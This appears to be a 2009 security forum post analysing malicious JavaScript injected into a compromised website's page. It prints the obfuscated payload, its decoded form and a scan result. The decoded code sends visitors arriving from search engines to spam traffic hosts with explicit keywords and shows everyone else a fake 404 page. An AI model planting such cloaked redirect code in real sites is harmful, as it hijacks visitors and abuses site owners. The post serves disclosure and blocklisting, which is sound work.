Author Topic: maryfisher.org  (Read 3672 times)

0 Members and 1 Guest are viewing this topic.

April 15, 2009, 05:50:42 pm
Read 3672 times

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Contains;

Code: [Select]
var ptr="%76%61%72%20%72%20%3d%20%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%29%3b%76%61%72%20%75%75%3d%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%29%3b%69%66%20%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%22%29%20%21%3d%20%2d%31%20%7c%7c%20%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%22%29%20%21%3d%20%2d%31%20%7c%7c%20%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%22%29%20%21%3d%20%2d%31%20%7c%7c%20%72%2e%69%6e%64%65%78%4f%66%28%22%73%65%61%72%63%68%22%29%20%21%3d%20%2d%31%20%7c%7c%20%72%2e%69%6e%64%65%78%4f%66%28%22%72%65%73%75%6c%74%22%29%20%21%3d%20%2d%31%20%7c%7c%20%72%2e%69%6e%64%65%78%4f%66%28%22%63%61%63%68%65%22%29%20%21%3d%20%2d%31%20%7c%7c%20%72%2e%69%6e%64%65%78%4f%66%28%22%74%72%61%6e%73%6c%61%74%65%22%29%20%21%3d%20%2d%31%29%7b%20%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%68%74%74%70%3a%2f%2f%73%72%76%63%2e%73%73%68%71%74%2e%63%6f%6d%2f%72%2e%70%68%70%3f%61%6e%61%3d%61%26%6e%6d%3d%70%75%73%73%79%26%6b%77%3d%62%61%6c%64%2b%70%75%73%73%79%2b%74%69%67%68%74%2b%6c%61%74%69%6e%61%2b%70%75%73%73%79%2b%77%65%74%2b%65%62%6f%6e%79%2b%70%75%73%73%79%2b%6e%61%74%75%72%61%6c%2b%68%61%69%72%79%2b%70%75%73%73%69%65%73%2b%65%62%6f%6e%79%2b%70%75%73%73%79%2b%66%75%63%6b%69%6e%67%26%72%65%66%3d%22%2b%72%2b%22%26%75%72%3d%22%2b%75%75%3b%7d%65%6c%73%65%7b%20%64%6f%63%75%6d%65%6e%74%2e%74%69%74%6c%65%20%3d%20%22%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%22%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%68%31%3e%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%54%68%65%20%72%65%71%75%65%73%74%65%64%20%55%52%4c%20%22%20%2b%20%6c%6f%63%61%74%69%6f%6e%2e%70%61%74%68%6e%61%6d%65%20%2b%20%22%20%77%61%73%20%6e%6f%74%20%66%6f%75%6e%64%20%6f%6e%20%74%68%69%73%20%73%65%72%76%65%72%2e%3c%70%3e%3c%68%72%3e%3c%61%64%64%72%65%73%73%3e%41%70%61%63%68%65%2f%31%2e%33%2e%33%33%20%53%65%72%76%65%72%20%61%74%20%22%20%2b%20%6c%6f%63%61%74%69%6f%6e%2e%68%6f%73%74%6e%61%6d%65%20%2b%20%22%20%50%6f%72%74%20%38%30%3c%2f%61%64%64%72%65%73%73%3e%3c%64%69%76%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%27%3e%22%29%7d";
eval(String.fromCharCode(101,118,97,108,40,117,110,101,115,99,97,112,101,40,112,116,114,41,41,10));

Decodes to;

Code: [Select]
var r = escape(document.referrer);var uu=escape(document.URL);if (r.indexOf("google") != -1 || r.indexOf("msn") != -1 || r.indexOf("yahoo") != -1 || r.indexOf("search") != -1 || r.indexOf("result") != -1 || r.indexOf("cache") != -1 || r.indexOf("translate") != -1){ document.location = "http://srvc.sshqt.com/r.php?ana=a&nm=pussy&kw=bald+pussy+tight+latina+pussy+wet+ebony+pussy+natural+hairy+pussies+ebony+pussy+fucking&ref="+r+"&ur="+uu;}else{ document.title = "404 Not Found";document.write("<h1>Not Found</h1>The requested URL " + location.pathname + " was not found on this server.<p><hr><address>Apache/1.3.33 Server at " + location.hostname + " Port 80</address><div style='display:none'>")}
Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.7 Results
Source code for: http://srvc.sshqt.com/r.php?ana=a&nm=pussy&kw=bald+pussy+tight+latina+pussy+wet+ebony+pussy+natural+hairy+pussies+ebony+pussy+fucking&ref="+
Server IP: 88.214.242.227 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Scripts: 0
iFrames: 0
Date: 15 April 2009
Time: 18:46:59:46
*****************************************************************
<script language="javascript">eval(String.fromCharCode(108,111,99,97,116,105,111,110,46,104,114,101,102,32,61,32,34,104,116,116,112,58,47,47,116,114,97,102,102,99,104,101,108,97,46,99,111,109,47,105,110,46,99,103,105,63,49,55,38,112,97,114,97,109,101,116,101,114,61,112,117,115,115,121,34,59));</script>

Decodes to;

Code: [Select]
location.href = "http://traffchela.com/in.cgi?17&parameter=pussy";
/edit

The above was found at the following btw;

http://maryfisher.org/_themes/compass/_vti_cnf/admin/bald-pussy.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net